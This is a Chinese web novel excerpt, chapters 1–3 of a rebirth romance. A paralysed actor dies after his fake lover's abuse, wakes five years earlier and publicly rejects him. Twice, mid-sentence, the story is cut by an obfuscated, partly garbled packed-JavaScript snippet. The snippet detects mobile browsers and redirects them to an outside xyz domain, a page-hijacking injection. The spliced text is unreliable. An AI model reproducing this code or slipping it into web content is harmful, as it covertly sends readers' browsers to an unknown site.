《金丝雀他删号重开了[重生]》 1. 【第001章】 海市的冬天总是格外的冷。 屋外的雨夹杂着雪粒子,在窗上敲打出惹人心烦的噪音,冷清的平层大套房里,只有左边卧室里散出了微弱的光。 一位身形清癯的青年静坐在轮椅上,台灯橘黄色的灯光衬出他病恹恹的脸色。 他的右手正紧握着手机不放,整个人如同僵硬的木偶一动不动,任由手机视频里的嘲讽声传入耳朵—— “景瞬就是个这辈子都只能坐轮椅的废物,还是个男的,我怎么可能会喜欢他?” “我看见他那双软绵无力的腿就觉得恶心想吐,压根碰都没有碰过,哪里提得起兴趣?” “实话和你们说了吧,我啊,这几年就喜欢躲在监控后面看他不小心摔倒后、在地上拖着双腿狼狈爬行的样子,可有趣了。” “……” 视频里羞辱意味的嘲弄还在继续。 而被一群红男绿女围在中间、口无遮拦的男人,不是别人,正是和景瞬相识了十五年的好友兼名义上的恋人,迟盛。 五年前,星途正好的景瞬因为剧组的一场威亚意外,高坠导致腰椎神经受损、双腿瘫痪,尝试了无数治疗办法还是无法摆脱轮椅。 在他人生跌落谷底的时候,出生名门世家的迟盛却对他展开了铺天盖地的追求,甚至当众和他告白、许诺愿意照顾他一辈子。 那时的景瞬遭受着身心的双重打击,仿佛是深渊里骤然投射的一道光,他在巨大的错愕和感动下还是同意了。 消息一出,整个海市豪门圈哗然。 原以为两人是竹马变真爱,结果在五年后的今天却成了赤裸裸的笑话—— 什么真爱?哪里来的情深不渝? 他景瞬不过是豪门迟少豢养一只断了翼的金丝雀,无聊时就恶趣味地逗着玩儿! “……” 长段视频还在继续。 大概是不知道斜对角有人在偷拍,包厢里的迟盛没了平日里的伪装。 他左拥右抱着穿着暴露的大网红和小明星,还时不时低头索取香吻一枚,周围还掺杂着其他人的起哄叫好声。 迟盛不可一世的浪荡神情浸在包厢迷离的灯光下,显得陌生的同时又令人作呕。 情绪上的恶心刺激了胃里的翻涌,景瞬一时间没忍住,急忙着操控着轮椅移动到浴室,大吐特吐。 卧室以及卫生间里的布局,是前些年按照轮椅高度特意改过的。 景瞬顾不上寒冬里的冷水刺骨,颤抖着打开水龙头,漱口、洗脸,他喘息着抬起头,望着镜子里那张病态又苍白的脸—— 这五年间,他受伤的腰椎和瘫痪的双腿一直在慢性恶化,所带来的并发症阻挡了他的健康,也间接影响了他睡眠和食欲。 脸颊是干瘦的,没有一丝多余的肉感。 往日算得上漂亮精致的五官此刻蒙上了一层阴蒙蒙的灰,即便如此,他看似绝望的瞳孔深处还在叫嚣着不甘和挣扎。 哪怕再落魄,他都不愿意成为旁人可以随意折辱取乐的对象! 景瞬抽起一旁的纸巾,一点一点擦拭着脸上残留的水珠,微微上扬的眼尾有了水光的浸润,不由红了些,透着后天形成的冷漠疏离。 他想起视频里的内容,发出一声很轻的嗤笑: 既然如此,断了就好! 雨彻底成了雪,越落越大。 家里的暖气不知道什么时候中断了,景瞬冷着一双手收拾完自己为数不多的行李,许久没有动静的家门突然传来了电子解锁声。 ——滋滋,开锁成功。 景瞬听见这声机械音,攥着行李袋的手背上冒起淡淡的青筋。 不出三秒,迟盛推门而入。 两人的视线隔空相撞,迟盛佯装出来的焦急有了一瞬间的凝固。 很快地,他在景瞬的无声注视下快步上前,弯下腰,“阿景,你这是做什么?好端端的,收什么行李?” 景瞬操控着轮椅迅速后撤,空留迟盛在原地摆出一个极其尴尬的关切姿势。 “……” “没想到你这么晚了会来。” 景瞬的开场白很淡,没有惊叹,而是陈述一个既定的事实—— 那场声势浩大的告白后,两人虽然成了外人口中的“情侣”,但这么多年从来没有同居过。 刚“在一起”的时候,迟盛还会天天来陪他,然后就成了隔三差五来一趟,再然后是十天半个月。 之后的三年里,对方借着公司事务忙碌的理由,和他见面的次数越来越少、短信交流也越来越少。 哪怕行动不便的景瞬主动去找他,对方都会用各种理由推脱,久而久之,两人不像是经年相爱的恋人,甚至比不上告白前的朋友关系。 景瞬知道他们的关系出了问题,也料想过有一天会分开,只是他的精力都用在了双腿治疗上,无暇经营这段“感动”而发展的感情。 时间一长,反倒找不到合适的谈话契机,一拖再拖,最终让自己沦落为了整个豪门的笑料。 迟盛察觉到眼前人变化的神色,还想狡辩,“阿景,你、你看见那个视频了?你听我解释……” 离得近了,他西装上的那股酒味就浓了起来,不知道又是从哪个鬼混的酒局里跑过来的。 这不提还好,一想到迟盛在视频里的所作所为,景瞬就觉得自己空荡荡的胃再度翻涌,他咬紧了牙关才没让自己失态! 恶心! 实在是太恶心了! 景瞬极力压住身体各处传来的不适,生硬抗拒,“迟盛,别演了。” “……” 迟盛的脸色一僵。 “我不知道你是有多不成熟、多恶俗、多低龄,才会拿我的伤痛和感情开玩笑,更不知道你这些年在我面前的伪装到底图什么,不过现在都不重要了。” 景瞬定定抬眸,眼尾因为难受而造成的那抹红晕有些浓,反倒衬得他耀眼了几分。 恍惚间,迟盛像是看到了多年前的景瞬—— 漂亮的,夺目的,像个小太阳能吸引众人的目光,轻易给人留下深刻印象。 “迟盛,无论我们之前发展成了什么关系,但从这一刻都正式结束。” 景瞬说出这句话,没有想象中的难过和纠结,而是有种早该如此的畅快。 迟盛不爱他,他又何尝喜欢迟盛呢? 是他当年一时被打击弄懵了头,答应了这段本就不该开始的关系,现在也算是自食恶果了。 这几年里,景瞬已经学会了适应孤独、接受身体和心理的双重伤痛,靠着自己努力活下去,有些人存不存在,于他而言已毫无意义。 “阿景!不是你想象得那样的,我真的爱你,我比任何人都要爱你!” 迟盛凑上前来,想要强行拥抱景瞬求和好,“我昨晚喝酒了,喝糊涂了,是他们……” 景瞬用力拍开他的手臂,可笑质问,“是他们写好了台词,然后命令迟少你一字不差地念出来、拍出那段视频的?” “迟盛,现在的你真叫我倒胃!” 迟盛呼吸沉了沉,“你、你说什么?!” “我说,从今以后,麻烦你从我的世界里滚出去。” 景瞬不愿意浪费时间听迟盛虚假的掰扯,他调转轮椅方向绕过了眼前人,打算带着行李离开。 殊不知,在他背对的那一刻,迟盛眼里虚假的焦急就被真实的怒意取代。 “景瞬,你以为你算什么东西?” 迟盛大跨步上前拽住景瞬的轮椅把手,用力往右后方一扯。 景瞬猝不及防地失去了重心,眨眼间,他连人带着轮椅重重摔在了地上。 ——哐! 倾斜的轮椅猛然砸在腰腹,激起五脏六腑强烈的、不正常的疼意,景瞬脸上零星的那点血色都跟着褪去,颤抖着看向罪魁祸首。 “……” 迟盛愣了愣,但接连被拂了好几次面子的他怒意直冲,没有半点愧疚,“你不是最有能耐了吗?这么看我做什么?有本事爬起来质问我啊?” “差点忘了,你哪里还站得起来?” “……” 景瞬只觉得全身血液都凝固了,心脏的抽搐更是一阵赛过一阵,“终于……不装了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050913|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟盛居高临下地望着他,就像在看一件破败不堪的垃圾,没有任何施以援手的打算。 “我本来觉得,只要你不计较这个视频,我还能委屈自己多陪你一阵子,没想到你这么不识趣,非得矫情和我断了?” “放眼整个海市,除了我谁还会要你这么一个残废?” 快五年了,他已经装够了! 既然景瞬执意要撕破脸,那他就不客气了! “这些年你是仗着我的身份和地位,才能在别人眼中留下点体面,你不感恩戴德也就算了,现在有什么资格在我面前摆脸色?” 迟盛拿出手机,对着地上的景瞬按下视频录制键,以往的温情面具再也不复存在,“实话说了吧,我愿意单纯就是为了报复……” 他似乎是想到了什么,脸上露出强烈的恨意,“你是真残疾,我可不是眼瞎,怎么会对你不离不弃?” 说完,迟盛就收起手机,带着酒气夺门而出。 ——哐! 关门声砸得震天响。 景瞬还被压倒在轮椅下方,心跳紊乱,只进不出的呼吸让他的胸腔渐渐有了窒息的逼仄感。 濒临死亡的求生欲爆发。 景瞬枯瘦的双手在地毯上用力攀爬,勉强够到了被甩掉的手机,他点开了置顶的一个微信头像,胡乱地按下了视频通话请求。 ——滋滋滋。 等待电话接通的过程被拉得极其漫长,景瞬清晰地感受到自己生命的流逝,充血的双眼逐渐模糊失焦。 意识消散的那一刻,他似乎听见了手机那头震惊而焦急的声音:“景瞬?!” * “景先生?景先生你没事吧?” 景瞬感受到有人正在推搡着他的肩膀,力道不大但很紧张。 他有些迷茫地睁开眼,前一秒还充斥在身体里的痛感全部消失,反而涌现出一种久违的充盈感。 “……” 走廊的琉璃灯明晃晃的,刺得眼睛疼。 景瞬花了一些时间适应,谨慎地环视着周围走廊的布局,“我、我这是在哪里?” 蹲在跟前的人穿着酒店的侍者服装,看上去有些眼熟。 侍者见他总算有了反应,虽然疑惑但还是如实告知,“景先生,这里是海市宝徕丽酒店,你今天是受邀来参加迟氏宴会的,我是迟少安排过来、负责接待您的服务生。” 说着,他还不自觉地往景瞬的轮椅上瞥了一眼—— 听说景先生在两个多月前遭遇了意外,导致了双腿行动不便,刚才他正带领景瞬前往宴会主厅,没料到对方在上楼梯滑坡时栽了跟头、摔下了轮椅。 好在,现在看上去没什么大碍。 三言两语间,景瞬已经明白了自己当下的处境。 他垂眸看向自己膝盖上的毛毯,毯下的一双腿不是麻木的、无知的、萎靡的,而是还存着鲜活的感知! 景瞬不可置信地攥紧了毛毯,在脑海中急速消化着本该不可能的事实—— 他这是意外重生回到了五年前? 既然如此,这是不是代表他还能重头开始接受治疗?重新拥有一丝能够站起来的机会? 侍者瞧见景瞬发红的双眼,越发迟疑,“景先生,你没事吧?要不要我先改送你到休息室?再请医生来看看?” 上头可是特意嘱咐过的:今晚的宴会,迟大少爷特意为景先生安排了一场告白惊喜仪式,后者腿脚不便,容不得有任何闪失! 景瞬在侍者的询问下回过神,搜寻着自己的记忆:当初,迟盛就是在这场宴会上和他高调告白的! 临死前的画面还在景瞬的脑海中消散不去,令他的瞳孔深处蒙上一层浅浅的阴霾。 “景先生?我带你去休息室吧?” “不了。” 景瞬挺起身子,双手松开盖在腿上的毛毯,一点一点地将上面的褶皱抚平,“麻烦直接带我去宴会厅吧。” 他倒想看看,迟盛今晚还会不会上演令人作呕的深情戏码? 既然上帝给了重来一次的机会,他势必要当众揭穿对方虚伪的真面目! 2. 【第002章】 宴会的举办地点在酒店顶层。 侍者带着景瞬进入电梯厅,还没等他去按VIP专属的高层电梯,酒店总经理就及时赶来。 “小郑,稍等,你带着景先生坐右边的高层客梯吧,也快下来了。” “……” 侍者小郑愣了愣,看向景瞬的眼色有些为难。 右边客梯是普客专用。 今天这场宴会的东道主是迟家和迟盛,后者特意交代过,景瞬可以乘坐最左边的专属VIP电梯直达顶楼的。 总经理瞧出了小郑在犯难,主动弯下腰来和景瞬说明情况,“景先生,实在是不好意思,我们这边临时接到通知,迟归先生马上要到了。” 这左梯必须提前空出来,停在负二层等待。 “……” 迟归? 景瞬听见这个过分耳熟的名字,“你是说,迟氏集团现任的董事长?他今晚要来?” 总经理点头,“是的。” 宝徕丽酒店是迟氏集团旗下的顶奢酒店之一,高层专属的VIP电梯只留给迟家人使用,一般不对外开放权限。 虽然迟盛的大少爷身份够尊贵,但比起更有实权和能力的迟归,简直是小巫见大巫。 说话间,普通高层电梯抵达一楼,电梯门打开。 总经理主动抵住电梯按键,温声细语地恳请景瞬进入,“景先生,还请见谅。” “没事。” 景瞬不在意这点“区别对待”,操控轮椅进了电梯。 侍者小郑见此,连忙跟上。 电梯门缓缓合上。 景瞬看着不断上升的楼层数字,思绪却因为刚才的短暂对话有所偏移—— 总经理口中的“迟董事长”迟归,他曾经不止一次听见迟盛提起过。 听说,迟归是迟家流落在外的孩子,二十出头那会儿才被迟氏本家找回认亲,他和迟盛的母亲迟婷,是同父异母的亲姐弟。 换句话说,迟归是迟盛的小舅舅,不过两人才相差四五岁。 迟氏家族庞大、人口众多,景瞬一介外人不懂其中的弯弯绕绕、恩怨纠葛,他只知道—— 迟归在一众人中雷厉风行地杀出重围,不到五年,他就从迟老先生的手中接管了集团和家族,成为了名副其实的迟氏掌权人。 那些企图和他敌对的旁支分系,最终都闹得凄惨收场。 身在本家的迟盛因为这些事,对迟归似乎是又惧又恨,可明面上完全不敢招惹。 每每在景瞬面前提及这号人物,迟盛总显得不那么愉快,如同对方是个心思狠辣、为达目的不择手段的狠人。 不过,景瞬却不这么认为—— 其实,他早些年在另外一场宴会上和迟归有过短暂交际,是很偶然的巧遇。 迟归长相出众、谈吐得体且令人舒服,因此给景瞬的初印象很不错。 何况,迟归没有从小就接受正规的继承人训练,却能凭借一己之力在本家和旁支中独占鳌头,何尝不是能力逆天的一种表现? 不过,上一世的迟归好像没有出席这场宴会?怎么今晚突然来了? ——叮咚! 电梯幸运地没有在其他楼梯停留,直达顶层。 “景先生,请。”侍者适时出声,打断了景瞬的思绪。 景瞬从电梯厅一出来,光鲜亮丽的宴会场所映入眼帘。 价值上千万的巴卡拉枝形吊灯就挂在厅中央上方,由上到下、由小到大串联散开,数以万计的水晶体流光溢彩,华丽异常。 宴厅内觥筹交错,今晚受邀参加的宾客大多数是海市豪门圈的年轻一辈。 哪怕算不上名利场金字塔的顶端人物,那也是金字塔上三层的未来接班人,不容小觑。 或许是没了老一辈们的制约和管束,同龄人的宴会显然更放得开一些,随着现场乐队的演奏,气氛热烈。 不过,景瞬的出现还是小小地凝固了厅内气氛。 一时间,无数道似审视、似打量、似疑惑的目光汇聚在他的脸上—— “这谁啊?居然还坐着轮椅来的?” “应该是迟少宴请的朋友吧?看着还挺面熟的?” “是个演员吧?叫什么来着?” “这不就是景瞬吗?不是我们这个圈的,他和迟盛关系好着呢,童星出道来着,前阵子拍戏伤了双腿,还上过微博热搜。” “这你们就不知道了吧?迟盛这阵子正猛地追求他呢,一天少说要跑三回医院,今晚还要告白呢,患难见真情哦。” “迟少最近追人传闻是真的啊?我还以为你们太子党几个人打赌输了开玩笑呢。” “是不是玩笑,你们待会儿不就知道了?” “……” 在场的宾客都是学过社交基本礼仪的少爷千金,不至于盯着景瞬大声的评头论足,有过几句轻微的好奇讨论就停下了。 景瞬和这个圈子里的人向来没有多大接触,上一世是因为迟盛再三请求、想要他来散心解郁。 当然,今天景瞬的目的不一样,他控着轮椅,独自移动到一旁的酒水休息区。 侍者贴身陪同,“景先生,要喝点什么酒吗?我去给你拿。” 景瞬现在的身体还不适合饮酒,他刚准备拒绝,却被边上一道熟悉的声音抢了先,“我给阿景单独准好了一支好酒,让人放在偏厅醒着了,你去拿吧。” 景瞬和侍者一前一后地回过视线—— 迟盛穿着一件高定的白色西服,风度翩翩地靠近。 他的目光毫不避讳地落在景瞬的身上,眼里的愉悦和深情几乎都快溢出来了。 “……” 景瞬看着快步朝着自己靠近的身影,脑海中却不受控制地浮现出自己濒死前的画面—— 迟盛居高临下地望着他,那双眼里充斥着无情,厌恶得像是在看垃圾。 明明长着同样一张脸,前后却判若两人。 不过也对。 迟盛亲口承认过,所有的深情和爱意都是他装出来的,可死前的嘲讽是真的、见死不救才是真的! “阿景,你来了怎么也不告诉我一声?我好下楼亲自接你。”迟盛差走了侍者,蹲在他的身前,“脸色怎么这么差?是不是不舒服?” 说着,他伸手去抚摸景瞬的脸颊。 景瞬偏头躲过,“没有。” 恍惚间,他的内心在恶心之余还生出一种本能的恐惧,恐惧自己曾经识人不清。 迟盛停了一秒,收回手。 他瞥见周围人投来的视线后,又自我合理化了,“阿景,你怕别人看见、猜测我们之间的关系啊?” “……” “没事,今天你和我才是这场宴会的主角,我邀其他人过来,就是想让大家为我们做个见证。” 他搭上了轮椅后背的把手,将景瞬带到了宴厅中央。 众人的目光聚在两人的身上,有和迟盛玩得好的知情者甚至提前发出了起哄声。 不出半分钟,迟盛接过侍者递来的一束鲜花,紧张地深呼吸了一口气。 “……” 景瞬抬眸,静静地看着他表演。 终于,迟盛单膝跪在他的面前,说出早已经准备好的告白台词,“阿景,从我们十四岁认识到现在,已经快十年了。” “直到你这次出事,我才意识到你在我心里有着旁人无法撼动的份量,我喜欢你,这份喜欢是我对别人都没有过的!” “我知道你这段时间深受打击,但我愿意陪着你复健、陪着你面对一切,无论未来怎么样,我想要以恋人的身份守在你的身边,你能不能给我这个机会?” 现场众人听见迟盛这段深情告白,有感动,有惊讶,也有一丝玩味掺杂其中。 迟盛背后的迟氏不容小觑,越是有根基的家族越讲究两姓联姻、强强联手,而现在迟盛居然对着景瞬当众告白? 对方不仅是个男人,还是个坐轮椅的残废?真是够傻、够痴情的! 眼前玫瑰带着艳丽而刺目的红,浓郁的香气在这一刻催发了身心的强烈不适,激得景瞬的眼眶泛红。 这落在迟盛和旁人的眼中,成了感动的表现。 “阿景,接受我好吗?” 迟盛重复着紧张的请求,眼底却是势在必得的光,不像是追求者,而像是胜券在握的捕猎者。 “……” 接受? 接受自己成为一个笑话吗? 景瞬涌起无限的悲凉和愤恨,下一秒,他用尽全力将花束狠狠砸了过去,“迟盛,凭你也配?!” 哐! 花束砸在迟盛的脸上,又坠在地面,玫瑰花瓣被甩了出来,再精致的包装都显得不堪一击。 迟盛的脑袋被砸得嗡嗡作响,现场众人更是看傻了眼—— 这是什么情况? 不接受告白也就算了,怎么还打人呢! 迟盛不可置信地看向景瞬,思绪难得卡壳, “阿景,你……你这是……” “在我之前从来没有喜欢过其他人?迟大少爷原来那么洁身自好啊?”景瞬轻轻抚掉膝盖上的残留花瓣,口吻微妙,“我看未必吧。” 迟盛哽住,下意识地狡辩,“阿景,你在说什么?我身边从来就没有过什么交往对象,我只喜欢你!” 景瞬不再给他机会,“明珠华尔道酒店2103房间,这些年你带了过多少人进去睡过?还记得清吗?需要一块去查酒店监控吗?” “……” “从十六岁开始,你就用别人的身份信息常年包下了那家酒店套房,每个月带着各路小网红、名媛乃至小明星过夜,有时候不止一天,有时候更不止一对一,我没说错吧?” 并不露骨的话语,揭露了最淫/乱的行为。 平时有良好教养的千金和少爷们听见这话,或多或少都露出了震惊神色。 “……” 隐藏至深的秘密被陡然揭穿,迟盛呼吸紧绷,脸上的痛感也跟着明显了起来,他咬紧后槽牙才没乱了阵脚,和边上的两位死党迅速互换了眼神: 他们三个对于性/事早熟并且开放。 但在豪门圈子里乱搞男女关系,早晚是瞒不住的,还容易牵扯到家族利益以及声誉,于是他们一开始就将目标定在了别的圈子。 毕竟,真正的豪门圈和小网红圈、假名媛圈还是有着分明的泾渭,后两者一般只是图钱,只要给够了钱就闹不出大风波!
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迟盛从小到大哪里受过这种嘲讽? 哪怕他对景瞬的喜欢是伪装的,他都不允许对方这么折了自己的面子!内心的怒火终于腾烧,就快燃掉他在人前的纸面具。 边上和迟盛玩得好的方家少爷看不下去了,出口教训,“景瞬,你以为你是谁啊?” “不过是个下半辈子都要依靠轮椅的残废!真当自己是什么香饽饽呢?” “放眼整个海市圈,你上哪里找比迟盛更优秀、更有家世的对象!你在这儿装清高给谁看?” “……” 景瞬不着痕迹地握紧了轮椅把手,圆润的指尖隐隐缺了血色。 忽然间,他的余光瞥见了站在宴厅门口的身影,偏头看去—— 来人的个头很高,黑色大衣衬得身形挺括,这会儿隐晦幽深的目光就落在他的脸上。 景瞬认出来人,心头一震。 其他宾客跟随他的视线,也惊了。 “迟先生怎么来了?” “不知道啊,什么时候来的?” “我也完全没发现!今晚这宴会还能惊动迟董事长啊?” 要知道,迟归接手迟氏集团后,在圈内宴会露面的次数不算多。 偶尔听到有关他的消息,不是拿下海外上百亿的项目,就是代表海市出席什么国际商界密会,传得神乎其神。 无论哪种说法,都注定了迟归是待在海市金字塔顶端的人物。 重磅人物突然到来,作为东道主的迟盛被打得措手不及。 虽然两人是名义上的舅舅和外甥,但关系一直不亲近,前两年还明争暗斗过家权利益,闹得不算愉快。 “……” 景瞬望着不远处的迟归,是逞强也是冲动。 他操控轮椅抢先上前,目标明确地停下在迟归的身前,“迟先生,刚才的热闹,你应该看见了吧?” 迟归垂下眸,等待着他的后续。 景瞬深呼一口气,石破天惊,“我看不上迟盛那废物,反倒觉得你很不错,要不我们俩试试?” 此话一出,全场哗然。 迟盛疾步冲了上来,“阿景!你在瞎说什么?别胡闹了!” 他觉得今晚的景瞬疯得判若两人,语气里多了一丝不耐烦,“有什么事我们回去说!别在这丢人现眼!” 没等景瞬反驳,迟归先睨了过去,“他问你了吗?” “……” 不容置疑的口吻,空气中笼罩的威压如有实质,惊得迟盛顷刻噤声。 他犹疑的视线两人身上来回移动,脸色难看。 迟归重新看回景瞬,突然提出要求,“把你刚才的话再说一遍。” “……” 此刻的宴会厅就像被一箱被点燃的哑炮烟花,表面看着钻不出一声响,内里实际早已经烧成一团乱,偶尔才会钻出一丝灼烧动静。 有宾客实在忍不住了,和身边人嘀咕,“我不是幻听了吧?景瞬还敢说第二遍?” “得了吧,再说一遍?那和自取其辱有什么区别?”方少爷听见了,口无遮拦,“我看他不仅腿摔断了,连脑子也摔没了!” 迟归不着痕迹地抬了抬眼,迅速记下这声聒噪来源,又看回轮椅上的人。 “……” 景瞬拿捏不准眼前人的态度,但他知道身后还有很多人等着看他的好戏。 事态发展到现在,除了寻求迟归的帮忙,景瞬暂时找不出比这更好的法子。 “我说,我实在看不上迟盛这废物,反倒觉得你很不错,要不我们俩试试?” 一秒,两秒,三秒—— 时间因为等待而被拉得无限漫长。 “……” 迟归凝视着景瞬浅褐色的眸心,从对方的不亢不卑表象中抓出了一点温软的哀求。 他的唇角极其细微地动了动,应下,“好。” 3. 【第003章】 “……” 好? 迟归居然应下了这称得上荒唐的请求,帮忙圆了场面? 景瞬有一瞬间以为自己是在幻听,但身后此起彼伏的惊呼声替他验证了真实性。 迟归淡淡扫视了一圈后方的好事宾客,落在迟盛脸上的眸色冷了些,“我来这儿办点事,听说你以迟家的名义办了这场宴会?” 迟盛如芒在背,“小舅舅,我……” “谁给你的权利?”迟归打断他的解释,不容置疑,“迟家的宴会是什么人都能随便来的?” 要知道,真正由迟氏名义操办的宴会,光是一张邀请函就引得多少名流豪门趋之若鹜,有时候挤破头都不一定进得来。 言下之意,是嫌迟盛举办的这场宴会太掉价了! 迟盛无法反驳,硬着头皮接话,“是,是我考虑不周了。” 迟归没理会他不走心的道歉,改口问,“景先生,你是要继续留下来?还是要走?” 景瞬早就不想待了,“要走的。” 迟归微不可查地应了声,像是在喊他,“那走吧。” 说完,他就率先转身往外走,从头到尾就没有要进场的打算。 景瞬无视了身后宾客们还在震惊八卦的眼神,正打算跟上,结果就听见迟盛不甘心的质问—— “阿景!你真的一点儿情面都不给我?” “不然呢?” 景瞬反问,看他的眼神像在看陌生人,“迟盛,你现在靠近我,我都能闻到你光鲜亮丽的西装下散发出的恶臭!” “有时间在这儿‘控诉’我,还不如去医院好好检查一下身体,小心得病。” 难得尖锐的话语如同一把重锤,霎时砸散了景瞬内心的阴霾,也狠狠敲打了迟盛的脸面。 现场的宾客开始窃窃私语,聚集而来的目光仿佛能将迟盛的后背扎出一个洞。 迟盛如鲠在喉,只觉得自己觉得颜面尽失。 这下好了,他真成笑话了! 景瞬不再理他,快速出了宴厅。 他原以为迟归已经走得没影了,可没想到对方居然还站在专属VIP电梯前,没有第一时间坐电梯下楼。 “……” 是在等他吗? 景瞬不敢确认。 隔着不到一米的距离,两人的视线短暂交错。 酒店总经理正陪同在迟归的身边,他瞧见跟着出来的景瞬,眼底掠过短暂的讶异,这才按下了电梯开门键,“迟董,请。” 迟归率先迈入。 酒店总经理又邀请,“景先生,您也请进。” 景瞬微微点头,保持着沉默跟了进去。 电梯门合上,完美隔绝了外界的一切嘈杂。 景瞬不好在电梯里面调整轮椅方向,被迫地和迟归正对着,从他现在的轮椅高度,只能看见对方过于优越的腰腿比例。 景瞬垂下眼,隐隐有些羡慕。 坐轮椅的日子久了,他内心对正常的、健全有力的双腿有了说不上来的渴求。 专属电梯下降的速度,比普梯也要快上一些。 ——叮咚! 电梯抵达负二层的停车场。 景瞬的位置正“堵”着门,他只好先背对着离开电梯间,等他调转方向后才看见,一辆全黑的劳斯莱斯幻影就停在了厅门口。 不用多想,就知道在等迟归。 忽然间,迟归喊他,“景先生,地址。” 景瞬抬眼看他,“什么?” 迟归说,“不介意的话,我让人送你回去?” “……” 以他现在的身体情况,不适合死要面子的强撑,有人愿意送他回家,确实能省不少功夫。 景瞬没有拒绝这突如其来的好意,他从脑海中搜刮出一个久违的老小区名字,“那就麻烦迟先生了。” 景瞬腿脚不便,上车比较麻烦。 不过酒店总经理很有眼力劲了,他招呼着司机师傅一块帮忙,帮着景瞬从轮椅离开、安坐在了车后排。 车门合上,缓缓驶离停车场。 景瞬看向坐在左侧的迟归,想了想还是开口,“迟先生,刚才在宴会厅是我唐突打扰你了,谢谢你愿意替我解围。” 解围? 迟归晦暗的眉眼被车外的路灯晃了一瞬,答非所问,“景先生的脸色看着很差,如果不舒服的话,可以先休息一会儿,到了喊你。” “……” 今晚的身体确实不舒服。 从重生转醒的那一刻,景瞬的太阳穴就始终堵住一股无法消弭的钝痛,又在宴会厅里耗费了不少精力。 景瞬没有多话,重复了一句“谢谢”就侧身看向了窗外。 车窗外的香樟掠过一棵又一棵,斑驳的树影笼罩着景瞬单薄的身影,他合上眼,抓紧时间理清自己今时的处境以及未来的路—— 父母早已离婚、并且各自组成了新家庭,这会儿没有人肯再管他,而作为童星出道的景瞬,其实成年后的存款并不多。 上一世,迟盛说着一定会为他约到顶尖的医学团队、让他不要发愁后续的治疗费用。 不过,景瞬的自尊和骄傲犹在,他不肯成为迟盛的累赘和负担,会在治疗之外的时间想尽办法赚钱、从未向对方张口要钱。 可到了最后—— 迟盛借故一拖再拖,所有的承诺都成了空头支票。景瞬为了治腿几乎花光了自己所有的积蓄,却依旧挽回不了双腿日渐萎靡的劣势。 “……” 上辈子发生的一切还历历在目,景瞬的眼眶酸涩。 因为意外而导致残疾的双腿,成了他心底积年累月的一块烂疮,或许只有重新站起,他才能剔除这痛不可遏的心病。 好在离事故发生还不到三个月,如今一切都尚有转机! 景瞬自然是要想尽办法一切复健,他比任何人都渴望着重新站起,能够回到自己最爱的银幕前,但上一世的经验和教训告诉他: 在治疗双腿这件事上,不仅需要最顶尖、最专业的医疗团队,同时还需要足够的经济支撑! 仅靠他自己还远远不够,但眼下,又有谁能帮他? ——刹! 骤然的刹车惊到了闭眼思考中的景瞬,他颤了一下睁眼。 迟归察觉到了他一闪而过的小表情,问话的语气有些冷,“怎么回事?” “抱、抱歉迟董。” 司机看向后视镜,小心翼翼解释,“这小区两侧停满了车,视野不太好,刚还突然窜出一只野猫,我才点了一下急刹。” 景瞬往窗外仔细看了看,发现是到地方了。 景氏夫妇离婚后,唯一留给他的财产就是老破小的套房,十八岁之后他就一个人住在这里。 后来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050915|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那套大平层是迟盛要求他入住的,说是不放心他住在设施老旧的小区里,如今想来,对方应该是为了在外人面前塑造“深情爱他”的手段之一。 “不好意思,我家这边确实不方便开车、停车。” 景瞬略有歉意地解释了一句,看向迟归,“我在这里下车就可以,我家就在前面,没几步路就到了。” 他解开安全带,慢半拍地为难请求,“就是得麻烦……司机师傅再帮我一下。” 迟归出声要求司机,“老张,你去拿轮椅。” 说完,他顺手解开安全带,自行下车绕到了景瞬这侧。 车门从外面打开,一股清冽的寒风灌了进来。 景瞬忍着冷意,“迟先生?” “这里应该不能长时间停车。”迟归没什么表情,像在陈述一个事实,“我抱你下去,快点。” 景瞬第一反应想要拒绝,因为他实在想象不出,迟归这样身份和地位的人会帮他下车,可事实就摆在眼前—— 迟归就站在门前,一声不吭地望着他,近乎一米九的身形足以替他挡下刺骨的寒风。 “……” 时间很短,景瞬容不得多想,“那就麻烦迟先生了。” 迟归淡淡地应了一声,果断靠近,他单手绕到景瞬的身后,搂住了腰,隔着衣服外套,确实没什么令人尴尬的冒犯感。 受了伤的双腿无力垂落,找不准任何支撑。 景瞬呼吸一紧,刚觉得自己无用得有些难堪,结果迟归就迅速发了力,将他抱出了车、稳稳当当地送到了司机备好的轮椅上。 真正接触的时间,左右不过五秒。 但景瞬还是察觉到了,刚才在寒风里嗅到的那股浅淡茶香是迟归衣服上的,不知道是用了什么牌子的香水,还挺好闻的。 “谢谢迟先生,麻烦你了。” “不客气。” 简短交流后,两人的视线又有了片刻的静默交汇。 或许是常年纵横名利场的缘故,迟归的眉眼间透着一股锐利凶悍的上位者感,但他今晚的表现并没显得高人一等,反倒前后两次对他伸出援手。 恍惚间,景瞬生出一种微妙的感觉—— 外人口中位高权重、杀伐决断的迟氏掌权人,似乎没有想象中的那么生人勿进。 几乎是灵光一闪,景瞬在车上苦想的那个问题有了最明确的答案。 是了。 放眼整个海市,又有谁能比迟归更有人脉?又有谁比迟归更有资本? 沉默的时间超过了五秒。 “没什么其他事的话……” “迟先生,我……” 两人同时开口,又同时停下。 迟归眉梢微动,用眼神示意他先说。 